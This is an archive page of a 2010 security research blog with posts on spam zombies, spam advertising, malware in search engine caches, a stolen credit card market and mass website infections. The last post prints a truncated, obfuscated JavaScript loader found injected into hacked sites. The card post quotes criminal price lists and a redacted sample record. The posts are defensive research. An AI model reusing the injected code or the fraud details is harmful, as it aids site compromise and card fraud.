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Archive for March, 2010

Are Universities Hosting Spam Zombies?

March 17th, 2010

It has been said that universities all around the world are harboring zombie machines in droves. These are the same zombie machines responsible for sending out massive amounts of spam. In this article, we attempt to understand if the university zombie-spam problem really is as big a deal as it is made out to be.

Most universities spend large sums of money buying IDS, IPS and Spam Filter technology and their various licenses. This should, at least in theory, allow universities to cut down on the number of such zombie machines by identifying tell tale signs of malicious communication and by analyzing their network traffic.

Experiment Goal

To understand if universities are harboring zombie machines, which can be used for spam campaigns.

Methodology

We have collected a list of 2070 universities. Each university’s DNS was queried to determine the IP address being used to host each website. This IP address was cross-referenced with data from Route Views to identify the AS number hosting that IP (using data from CAIDA). The AS number was then used to mine IP ranges advertised as BGP updates. Once the CIDR IP ranges were been found, the IPs in the CIDR range were checked with Spamhaus’s Zombie Blacklist. The experiment was conducted between March 12th and March 16th, 2010.

Our Observations

  • Number of unique universities: 2070
  • Number of Unique ASes observed: 829
  • Total number of probed: 434,083 IPs
  • Size of zombie blacklist: 2,130,944 IPs

Highlights

We present some interesting observations on the data analyzed.

  • Only AS174, Cogent Communications, Inc., was found to contain zombies (see list below).
  • Only 0.67% of educational institutions are associated with spam-zombie IP addresses.
  • Only 0.12% of ASes seem contain spam-zombie IP addresses.

Frequency distribution of the number of IPs tested.

Conclusion

It seems that Universities are unfairly maligned by reports of zombies in their networks. Based on the findings of this preliminary set of experiments, having not found spam-zombie machines in large numbers in residence on university sub-nets, it seems that universities are doing a pretty good job of combating spam-zombies and keeping the Internet safe.

Till next time.
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Popular Websites Host More Spam

March 9th, 2010

Popular Internet websites are a good place to advertise and therefore a target for spammers. Large throngs of visitors who view content on popular sites are the main draw. Spammers use vulnerabilities in message boards and forums to insert spam advertisements.

This “malvertising” is bad for the reputation of the website in question and because it opens up a Pandora’s box of security issues if a visitor decides to follow the link in the advertisement. In this short article we try to determine if certain subsets of the most popular 1 million Internet websites are more vulnerable to attack by spammers.

Experiment Goals

  • Where are the spammers targeting their efforts?
  • What kind of websites need to put more effort into stopping spammers?

Methodology

We obtained a list of the top 1 million websites from Alexa. We partitioned the list into 3 equal parts, designated as “top,” “middle” and “low” websites. From each subset, we randomly selected 1000 websites and determined if they were hosting spam advertisements.

To determine whether a site was hosting spam advertisements, we queried Google and other search engines with a list of keywords suggesting pharmacy spam (e.g. “buy Kamagra cheap” and “no prescription needed”). Once a website was found to include spam advertisements, the suspect pages from that website were downloaded to ensure that spam advertisements were indeed present.

Interesting Results

  • The “top” tier was responsible for 9% of sites hosting spam ads.
  • The “middle” tier was responsible for 4% of sites hosting spam ads.
  • The “low” tier was responsible for 3% of sites hosting spam ads.

Conclusion

It is surprising to see that “top” ranking websites were more than twice as likely to have spam advertisements on their web pages than “middle” or “low” ranking websites.

It could be that spammers prefer to concentrate on the most popular sites versus the not-so-popular ones or that popular sites have more discussion/message boards that can be exploited. This question could be the basis of a more in-depth study of this phenomenon.
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Yes, Search Engines Can Infect Your Computer

March 8th, 2010

Search engines, like Google, Yahoo and Bing offer users the ability to scour the plethora of information on the Internet. These search engines index content on websites and often maintain cached copies of these sites so that, in the event that the site is unavailable, visitors can still view the contents of the website.

Unfortunately, the idea of page caching has not been implemented well. In fact, page caching has opened up new opportunities for malware. The primary problem being that, from a security perspective, when search engines cache copies of websites, they are storing any malware that is present on the site on their own infrastructure as well.

Hackers Exploit Search Engine Page Caches

Most large search engines use some kind of malware analysis to determine if a website is compromised or not. Google for example, has a well tuned system with high accuracy. In our meeting with the Google malware team, some months ago, we were glad to find that they were already aware of this problem. In the weeks following our interaction, cached copies of infected websites were no longer easily available via searches.

Not so long ago, we wrote an article about our efforts to alert Yahoo of the presence of malware in the cached versions of various web pages served up by their search engine. Our efforts were not successful, although the occurrence of malware in Yahoo cached pages seems to have gone down significantly. Perhaps our messages were not entirely ignored.

Recently, an article came up on ISC SANS discussing this very same issue.

Recently, we have found instances of Bing serving up malware in their cached pages. It seems that Bing’s malware detection methods are not able to reliably detect malware on cached web pages. This keeps Bing from securing cached pages which contain malware for its users. We have provided screen shots below as an example of the issue. In this particular case, the strain of malware found in Bing cached pages has been around since 2009.

Search Engines Ignore the Problem

Consider the case where a malicious individual deliberately infects a website with malware and Bing (or another search engine) indexes it. The malicious individual can then send out hyperlinks pointing to the cached web pages hosted by Bing. Any kind of “reputation-checking” for the cached link will confirm that the page is hosted by a reputable company, in this case, Bing (Microsoft). However, the malware will still be able to deliver its payload. Just in case you’re thinking, “my antivirus will protect me from the malware on the cached page,” you may like to read this article.

It is surprising to see that search engines like Bing, which claim to implement malware detection, cannot correctly determine if a cached copy of a web page hosts malware! In these cases, Bing ends up an excellent attack vector for malicious individual.

It remains to be seen if search engine companies will continue to serve up cached pages laced with malware at the same time as they are touting active scan and detection mechanisms. Let’s hope this article can get attention in the upper echelons of management at these large search giants and they start to pay attention to this problem.

Screen shots follow below:

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The “Underground” Credit Card Blackmarket

March 3rd, 2010

Credit card data has been traded on the cyber black-market for a number of years. The relatively recent breaches of TJX Companies (owner of T.J. Maxx) and Heartland Payment Systems show the extent to which criminals will go in order to harvest credit card numbers, social security numbers, names, addresses and more. All this legitimate (but stolen) information fuels a world of cyber crime.

In this article we show that, unlike what you might think, the credit card black-market operates very much in the open. Below we point out websites, which can be used to tap into the cyber black-market and find stolen credit card numbers and the associated credentials to purchase for any purpose they desire. We also show instant messenger handles, emails and details of what cyber criminals are selling on the Internet.

We analyzed 429 unique domains and 615 unique URLs. Each of these URLs contained information about buying stolen credit card information. Each URL lead to a web page where cyber-criminals have posted details about how to interact with them and buy stolen financial credentials. In the majority of cases, cyber criminals who are selling this information can provide one of the following types of data.

The data for this article was collected between February 27th and March 2nd, 2010.

Basic Credit Card Information Offers:

Usually consists of credit card number, type, expiration date and CVV.

USA & CANADA CCV2

VISA/Mastercard ~ 2USD/each
AmEX/Discover   ~ 4 USD/each

UK & WU CVV2

VISA/Mastercard ~ 3USD/each
AmEx/Discover   ~ 5USD/each

Premium Credit Card Information Offers:

Usually consists of credit card number, type, expiration date, CVV, SSN, Home Address, Full Name, Date of Birth and much more.

USA & CANADA CCV2

VISA/Mastercard ~ $35/each

UK & EU

VISA/Mastercard ~ $40/each

ACCOUNT INFORMATION:
First Name: xxxxx
Last Name: xxxxx
Address: xxxxx xxxxx xxxxx xxxxx
Apt:
City: Homestaed
State: FL
Zip: xxxxx
Home Phone: (xxxxx)xxxxx-xxxxx
Work Phone: (xxxxx)xxxxx-xxxxx
Email: xxxxx@yahoo.com
SSN: xxxxx-xxxxx-xxxxx
License Number: xxxxx-xxxxx-xxxxx-xxxxx-xxxxx
License State: FL
DOB: 09/xxxxx/xxxxx

PAYMENT INFORMATION:
Credit Card Type: VISA
Number: xxxxxxxxxxxxxxx
CCV: 889
Expiration Date: 11/2008
Name: xxxxx xxxxx
Card Name First: xxxxx
Card Name Last: xxxxx

PayPal Information Offers:

Verified account                 ~ 20USD/each
Verified account with email pin  ~ 25USD/each
Verified acccount with full info ~ 35USD/each
unverified account               ~ 10USD/each

Some domains host multiple instances of stolen Credit Card Ads, (CC-Ads). We present the frequency distribution of CC-Ads on each unique domain below.

Frequency of CC-Ads on each unique domain.

Frequency of CC-Ads on each unique domain.

Interesting Highlights:

  • None of the websites advertising stolen credit card data were blacklisted by Google’s Safe Browsing List. This could potentially indicate that cyber criminals are conscientious of not discouraging visitors to these sites.
  • Cyber criminals prefer to get paid via Liberty Reserve and Western Union money transfer services.
  • Some cyber criminals have used images to provide quotations [img].
  • Yahoo.com seems to be the email and instant messaging service preferred by cyber criminals.
  • Nearly 75% of sites with CC-Ads are located in the US (see graph below).
IP Geo-location for websites with CC-Ads.

IP Geo-location for websites with CC-Ads.

Conclusion:

It is clear from the current state of the credit card black-market that cyber criminals can operate much too easily on the Internet. They are not afraid to put out their email addresses, in some cases phone numbers and other credentials in their advertisements. It seems that the black market for cyber criminals is not underground at all. In fact, it’s very “in your face.” Clearly a more concerted effort is required to clamp down on this problem. Simply tying up loose ends on the enterprise side is not enough to combat this problem when there is virtually nothing to stop criminals from touting their stolen wares freely in the Internet.
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Virus Infects 13 Million PCs, Steals Credit Card Numbers

March 2nd, 2010

“Spain Busts Hackers for Infecting 13 Million PCs”

Users were targeted via a vulnerability in Internet Explorer when they visited websites infected with the malware. Spanish authorities shutdown the Mariposa bot-net on December 23, 2009 although the details of what is being called the “largest cyber-raid to date” are just being released.

Infection Statistics:

  • 190 countries
  • 40 of the largest financial institutions
  • 50% of 1,000 largest companies

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Zero to 3000+ Infected Sites in Less Than 30 Minutes

March 1st, 2010

Code injection attacks show no signs of abating. Everyday more than 6000 new websites are added to Google’s Safe Browsing List (blacklist). Hackers are compromising websites without the knowledge of the website owner to, in turn, infect website visitors.

Malicious hackers don’t care if the website they infect is a small mom and pop operation or a large e-business. They use automated “bots” in most cases, which will attack any and every website they can exploit. No website is off limits.

As an example of the rampant nature of this problem, we will show how we found over 3000 infected websites out of which only a small percentage seems to be blacklisted by current website reputation services. One of the most reliable reputation services, offered by Google, only managed to identify a small portion of the whole of the infected websites we mined using Google’s own search results. Identifying infected websites is not trivial.

We recently saw a strong rise in the appearance of the malicious code below:

this.v="";:LineMixer [var i=15492;var y=window;var  o='';var op='';
var a='s*c*r:iVpTt:'.replace(/[\:

TVJ\*]/g, '');var  yx=new Array();
var u='c*r*eja_tjeYE_lYe*mYebn*t_'.replace(/[_\*bjY]/g,  '');
var _=new Array();this.nt="";]var k;if(k!='dh' && k !=  '')
{k=null};y.onload=function(){var w;if(w!='' &&  w!='ns'){w=null};
try {this.n_=false;uh=document[u](a);var ow="";var  f="";
var xl=new String();var xf="xf";:LineMixer  [uh['s;rpcp'.replace(/[p;t6O]/g, '')]
='hHt4tVp4:5/V/4e4x4aHmViVnVe4

By searching for a small part of the above portion of this code on Google (shown below), we found a list of websites which harbor the above code. A simple mention of this code on the pages of a website does not necessarily imply that the website is bad. It could be that a website administrator was asking for clarification on help forum. However, a detailed (automated) examination is performed by our systems to remove any doubt.

this.v="";:LineMixer [var i=

Interestingly, only 5.7% of the 3000+ infected sites we found exploited with this code were blacklisted by Google. This highlights the fact that even reliable blacklists, like the Google’s Safe Browsing List are not complete.

Till next time.
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